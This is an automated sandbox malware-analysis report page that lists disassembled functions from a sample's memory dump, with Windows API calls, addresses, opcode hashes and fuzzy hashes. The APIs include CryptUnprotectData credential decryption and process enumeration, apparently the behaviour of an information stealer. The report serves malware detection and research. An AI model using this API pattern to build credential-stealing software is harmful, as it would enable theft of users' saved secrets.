Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: cf0e404767628319db80626502030293b0c43f804bb64d6157d6f8f0b37d4a81
Instruction ID: 767785d0e1eda14b98a61edf273378b26ccda1064a22e968ad67301af1179cc1
Opcode Fuzzy Hash: cf0e404767628319db80626502030293b0c43f804bb64d6157d6f8f0b37d4a81
Instruction Fuzzy Hash: FB21EAB5D04209ABCF04EFE4D9459EEB7B9BF48304F04852AE41AA3250EB345605CBA6

Function 00137240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0013724D
RtlAllocateHeap.NTDLL(00000000), ref: 00137254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00137281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 001372A4
LocalFree.KERNEL32(?), ref: 001372AE

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 874bdbe60964e74f24fabe06fc09ca9748c42ed17067540106152a1dc5c8a91e
Instruction ID: 80c2cfd40707ac921a03ff836e57cbd9d89d2b775259a5b6f81ceee44fbcf8da
Opcode Fuzzy Hash: 874bdbe60964e74f24fabe06fc09ca9748c42ed17067540106152a1dc5c8a91e
Instruction Fuzzy Hash: D00112B5A40208BBDB24DFD4CD46F9E77B8EB44701F104154FB09BB2C0D770AA408B66

Function 00149600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0014961E
Process32First.KERNEL32(00150ACA,00000128), ref: 00149632
Process32Next.KERNEL32(00150ACA,00000128), ref: 00149647
StrCmpCA.SHLWAPI(?,00000000), ref: 0014965C
CloseHandle.KERNEL32(00150ACA), ref: 0014967A

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f470f600a42445506356a78deaa1162d831648480a234a795ce079f9d5013144
Instruction ID: 07b37e88cfbdde308f38bad80bc86e0f114e6550a91b7eff0b30698465b1e7f9
Opcode Fuzzy Hash: f470f600a42445506356a78deaa1162d831648480a234a795ce079f9d5013144
Instruction Fuzzy Hash: 51011EB5A00208EBCB25DFA5CD48BEEBBF8EB48301F104188A90997250E7349B80DF51

Function 005016EC Relevance: 6.7, Strings: 4, Instructions: 1655COMMON

Download Yara Rule

Strings

)_yt, xrefs: 00501C1F
{0x, xrefs: 00502380
|-~~, xrefs: 00502688
]'h>, xrefs: 00502A45

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID: )_yt$]'h>${0x$|-~~
API String ID: 0-2904451045
Opcode ID: 2524993758ab51ebc0ea284ba2173aaee18a74004f825c1cb5c2270dc8102bcf
Instruction ID: 6f218af74a26bc119c8785b80f6f8a11085c961c468ae867fa922150e7545e1b
Opcode Fuzzy Hash: 2524993758ab51ebc0ea284ba2173aaee18a74004f825c1cb5c2270dc8102bcf
Instruction Fuzzy Hash: 25B23CF360C6009FE304AE2DEC8567ABBD9EFD4720F1A863DE6C4C7744E93598058696

Function 00148EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00135184,40000001,00000000,00000000,?,00135184), ref: 00148EC0

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 2c983453dd68b9ca37f3978dc421653fef1ccf094ab8be637625d6d6b0fd35e0
Instruction ID: 9ae73ad2a44a95f60beefecdddcf0db4e93fb0b1b038b687985484d48a8c959f
Opcode Fuzzy Hash: 2c983453dd68b9ca37f3978dc421653fef1ccf094ab8be637625d6d6b0fd35e0
Instruction Fuzzy Hash: B9111574200209BFDB04CF64E884FAF37AAAF89704F109448F9198B260DB76EC85DB61

Function 00139AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00134EEE,00000000,00000000), ref: 00139AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00134EEE,00000000,?), ref: 00139B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00134EEE,00000000,00000000), ref: 00139B2A
LocalFree.KERNEL32(?,?,?,?,00134EEE,00000000,?), ref: 00139B3F

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 09f5f9565fdc553a2d9df76d7ad465405708e9ec1c150015525e7415c133f356
Instruction ID: ca07a5014826e098ac620af55ef143153149f8f0513cb20927bccc1788c57cd6
Opcode Fuzzy Hash: 09f5f9565fdc553a2d9df76d7ad465405708e9ec1c150015525e7415c133f356
Instruction Fuzzy Hash: F511A4B4240208FFEB11CF64DC95FAAB7B9FB89700F208058F9199B394C7B5A941CB51

Function 00147A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0102DCC8,00000000,?,00150E10,00000000,?,00000000,00000000), ref: 00147A63
RtlAllocateHeap.NTDLL(00000000), ref: 00147A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0102DCC8,00000000,?,00150E10,00000000,?,00000000,00000000,?), ref: 00147A7D
wsprintfA.USER32 ref: 00147AB7

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 9e4db54a4da47cb4f7e5ff967a33c80a51195a508483beb627b66c6d281b2ba7
Instruction ID: e62935ed9ebf3c28fe2aace8d0a697b9d6f5be5f408f1c394e113f9ce2862eab
Opcode Fuzzy Hash: 9e4db54a4da47cb4f7e5ff967a33c80a51195a508483beb627b66c6d281b2ba7
Instruction Fuzzy Hash: B7118EB1A45618EBEB208B54DC49FA9BBB8FB44721F10479AE91A932D0C7741A80CF52

Function 00509CB0 Relevance: 5.4, Strings: 3, Instructions: 1650COMMON

Download Yara Rule

Strings

7!F, xrefs: 0050A61C
o$r^, xrefs: 00509DA3
+i, xrefs: 0050ACD5

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +i$7!F$o$r^
API String ID: 0-1303766068
Opcode ID: 228a48fa471ec250279deeea61258b324492e08e7437eb333ef7c3e105219ffb
Instruction ID: 5625795f4b0957e5429097a7c36302beab9f8acb5b5bfd110c5beeb1aed79013
Opcode Fuzzy Hash: 228a48fa471ec250279deeea61258b324492e08e7437eb333ef7c3e105219ffb
Instruction Fuzzy Hash: 2AB21AF3A0C2049FE304AE2DDC8567AB7E5EF94720F1A893DE6C5C3744EA3598058697

Function 004FA96E Relevance: 5.4, Strings: 3, Instructions: 1632COMMON

Download Yara Rule

Strings

X5~;, xrefs: 004FAC92
A;n, xrefs: 004FB8C3
1)og, xrefs: 004FAC3B

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID: A;n$1)og$X5~;
API String ID: 0-2445990043
Opcode ID: 5866169a08fd074e6d0f920c5df5bb8da28c5ec83252ae367b2efdf6ae3d8a33
Instruction ID: c73afe2300bbb010d2a25d7a00eba8b136312ac352d591e010073c426ef89c95
Opcode Fuzzy Hash: 5866169a08fd074e6d0f920c5df5bb8da28c5ec83252ae367b2efdf6ae3d8a33
Instruction Fuzzy Hash: FAB208F35082049FE704AE2DEC8567AFBE9EF94720F16893DEAC4C7744EA3558048796

Function 004FC530 Relevance: 5.4, Strings: 3, Instructions: 1632COMMON

Download Yara Rule

Strings

Q)[, xrefs: 004FC939
HU[, xrefs: 004FD8B7
Dj/~, xrefs: 004FD317

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Dj/~$HU[$Q)[
API String ID: 0-3589919254
Opcode ID: eb72abbdad8ce6ff5b74ecfadd0166488a1cf7375b8f1382d3b71e205d6a58a8
Instruction ID: e827467afa84100df2adc28aa8521f22e4cdd19f6e540b10081901e820d2d5b8
Opcode Fuzzy Hash: eb72abbdad8ce6ff5b74ecfadd0166488a1cf7375b8f1382d3b71e205d6a58a8
Instruction Fuzzy Hash: 9BB216F3908214AFE3046E29EC8567AFBE5EF94760F1A493DEAC4C7744EA3558018787

Function 0050502E Relevance: 5.1, Strings: 3, Instructions: 1324COMMON

Download Yara Rule

Strings

LL, xrefs: 0050564E
&*/], xrefs: 0050569E
p&{x, xrefs: 00505898

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &*/]$LL$p&{x
API String ID: 0-2891148233
Opcode ID: c5059ae61080932c2ee3afaf2f1036de05e16ff7192519ae15fdd3608d671359
Instruction ID: 0b78bb1f01e3b7f128164c947f29433b94ebb0ea7b21de06788e4ad2093072fb
Opcode Fuzzy Hash: c5059ae61080932c2ee3afaf2f1036de05e16ff7192519ae15fdd3608d671359
Instruction Fuzzy Hash: C892F4F360C2049FE304AE2DEC8567AFBE5EF94720F1A893DE6C487744EA3558148697

Function 0050BBCB Relevance: 5.0, Strings: 3, Instructions: 1286COMMON

Download Yara Rule

Strings

s5zY, xrefs: 0050BC6A
J#ko, xrefs: 0050BFC4
_gy, xrefs: 0050C505

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID: J#ko$_gy$s5zY
API String ID: 0-2839027486
Opcode ID: 21dd234971fd1884a0673c92ee037c0d39e9319795d7afc0c6eb95e4f3cdddb0
Instruction ID: f67e3f0ec3ba09fd1e944d9c327a4e6bc5ee88ed46466a156a69748e2e4df455
Opcode Fuzzy Hash: 21dd234971fd1884a0673c92ee037c0d39e9319795d7afc0c6eb95e4f3cdddb0
Instruction Fuzzy Hash: 4D8209F3A082109FE304AE2DEC8576AFBE5EFD4720F1A853DEAC4C7744E53598058696

Function 004FE6A1 Relevance: 4.9, Strings: 3, Instructions: 1162COMMON

Download Yara Rule

Strings

t>X, xrefs: 004FF4AE
Ro|, xrefs: 004FF409
t>X, xrefs: 004FF3FC

Memory Dump Source

Source File: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
